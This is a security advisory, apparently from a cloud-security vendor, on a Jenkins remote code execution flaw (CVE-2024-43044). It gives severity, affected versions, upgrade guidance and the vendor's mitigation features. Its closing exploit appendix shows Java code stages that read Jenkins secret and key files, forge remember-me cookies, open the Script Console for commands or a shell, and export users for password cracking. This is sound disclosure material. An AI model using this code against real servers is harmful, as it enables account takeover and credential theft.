A critical remote code execution (RCE) vulnerability, identified as CVE-2024-43044
, has been discovered in Jenkins, one of the most widely used automation servers. The vulnerability resides in the ClassLoaderProxy#fetchJar
method and could allow attackers to compromise Jenkins environments by exploiting unrestricted file path requests from agents to the Jenkins controller.
Understanding CVE-2024-43044
CVE-2024-43044
is a critical remote code execution (RCE) vulnerability in Jenkins, due to a flaw in the ClassLoaderProxy#fetchJar
method within the Remoting/Hudson
library used for communication between Jenkins controllers and agents. The vulnerability arises because fetchJar
inadequately validates file paths provided by Jenkins agents. An attacker with access to a Jenkins agent can exploit this flaw by crafting a request to the Jenkins controller that includes arbitrary file paths. Specifically, the attacker can manipulate the request to include paths pointing to malicious JAR
files, which are not properly sanitized by the fetchJar
method.
When the Jenkins controller processes this request, it loads and executes the malicious JAR
file, as there are no restrictions on the path or file content. This execution of malicious code occurs with the same privileges as the Jenkins controller process, granting the attacker full control over the Jenkins environment. Exploitation can involve techniques such as uploading a JAR
file containing a reverse shell or other malicious payloads, allowing attackers to execute commands on the Jenkins controller. This can lead to unauthorized access to sensitive data, alteration of Jenkins configurations, and significant disruption of operations.
- Severity: Critical
- Impact: The vulnerability allows attackers to potentially compromise the Jenkins environment by leveraging agent secrets or interacting with active processes. This can lead to significant security breaches.
- Affected Versions: All versions of Jenkins prior to
2.471
or2.452 LTS
Who is Impacted?
Any organization or individual using Jenkins versions before 2.471
or 2.452 LTS
is affected by this vulnerability. Specifically, those who utilize the Jenkins controller/agent model for communication between Jenkins controllers and agents are at risk. The vulnerability impacts environments where agents can request unrestricted file paths, potentially leading to remote code execution.
Patches and Remediation Steps
The recommended fix is to upgrade Jenkins to version 2.471
or later. The update addresses the flaw and enhances the overall security of the Jenkins system.
How Upwind Helps Protect Your Environment
Upwind Cloud Security Platform offers several solutions to mitigate CVE-2024-43044
:
- Locate Vulnerable Packages: Use Upwind’s SBOM explorer to search and identify
CVE-2024-43044
. - View Resource Impact: Identify all resources affected by
CVE-2024-43044
, including cloud accounts, clusters, pods, namespaces, VMs, and resources. - Prioritize At-Risk Resources: Assess and prioritize the impact on your environment, focusing on resources with additional risk factors such as internet exposure, database connections, secrets, or sensitive data.
- Prioritize Package Upgrades: Generate a list of vulnerable resources that should be prioritized for updates using the recommended fixes.
Get Further Assistance
If you need further assistance with protecting your environment from CVE-2024-43044
, you can reach out to an Upwind specialist directly at [email protected].
Exploit Appendix
Stage 1: Class Loader and Reader Initialization
// Initialize class loader and reader
if (this.ccl == null) {
this.ccl = this.getRemoteClassLoader();
}
// Setup reader and paths
this.reader = new RemoteFileReader(this.ccl);
this.jenkinsBasePath = findJenkinsBasePath();
Copied
Stage 2: Reading User Information
This stage involves reading user information from Jenkins. The user data is fetched and stored for further processing.
// Read and process user information
System.out.println("[*] Reading users...");
Map<Long, UserInfo> orderedUsers = readUsers();
Copied
Stage 3: Defining and Reading File Paths
Paths to sensitive files such as master key, secret key, and MAC file are defined. The corresponding files are then read. The MAC file is crucial for cookie forgery.
// Define file paths
String masterKeyPath = Paths.get(this.jenkinsBasePath, MASTER_KEY).toString();
String secretKeyPath = Paths.get(this.jenkinsBasePath, SECRET_KEY).toString();
String rememberMacPath = Paths.get(this.jenkinsBasePath, REMEMBER_MAC).toString();
// Read and print master key
System.out.println("[*] Reading master.key");
String masterKey = this.reader.readAsString(masterKeyPath);
printChunked(masterKey, 64);
// Read and print secret key
System.out.println("[*] Reading secret.key");
String secret = this.reader.readAsString(secretKeyPath);
System.out.println(" " + secret);
// Read and handle MAC file
System.out.println("[*] Reading ...rememberme.TokenBasedRememberMeServices.mac");
byte[] mac = this.reader.readAsBytes(rememberMacPath);
if (mac.length == 0) {
System.out.println(" MAC file not found. Triggering creation...");
forceMacFileCreation(orderedUsers);
System.out.println("[*] Re-reading ...rememberme.TokenBasedRememberMeServices.mac");
mac = this.reader.readAsBytes(rememberMacPath);
}
System.out.println(" " + bytesToHex(mac));
Copied
Stage 4: Forging Cookies and Accessing Jenkins Script Console
In this stage, cookies are forged for users and the Jenkins Script Console is accessed using those cookies. Commands or shells are executed as per the user’s input.
// Forging cookies and accessing Jenkins Script Console
System.out.println("[*] Instantiating CookieForger");
CookieForger forger = new CookieForger(this.jenkinsServer, masterKey, secret, mac);
for (Map.Entry<Long, UserInfo> entry : orderedUsers.entrySet()) {
UserInfo userInfo = entry.getValue();
System.out.println("[*] Forging remember-me cookie for user '" + userInfo.name + "'");
String cookie = forger.cookieFor(userInfo);
// Print user details and cookie
printUserInfo(userInfo, cookie);
// Access Jenkins Script Console and run command or shell
System.out.println("[*] Accessing Jenkins Script Console");
ScriptConsole console = new ScriptConsole(this.jenkinsServer, cookie);
boolean success = (this.cmd != null) ? console.runCommand(this.cmd) : console.shell();
if (success) {
break;
}
}
Copied
Stage 5: Exporting Users and Exiting
User information is exported, and if no command is provided, the process exits.
// Export users to JTR and exit if no command is provided
usersToJTR(orderedUsers);
if (this.cmd == null) {
System.exit(0);
}
Copied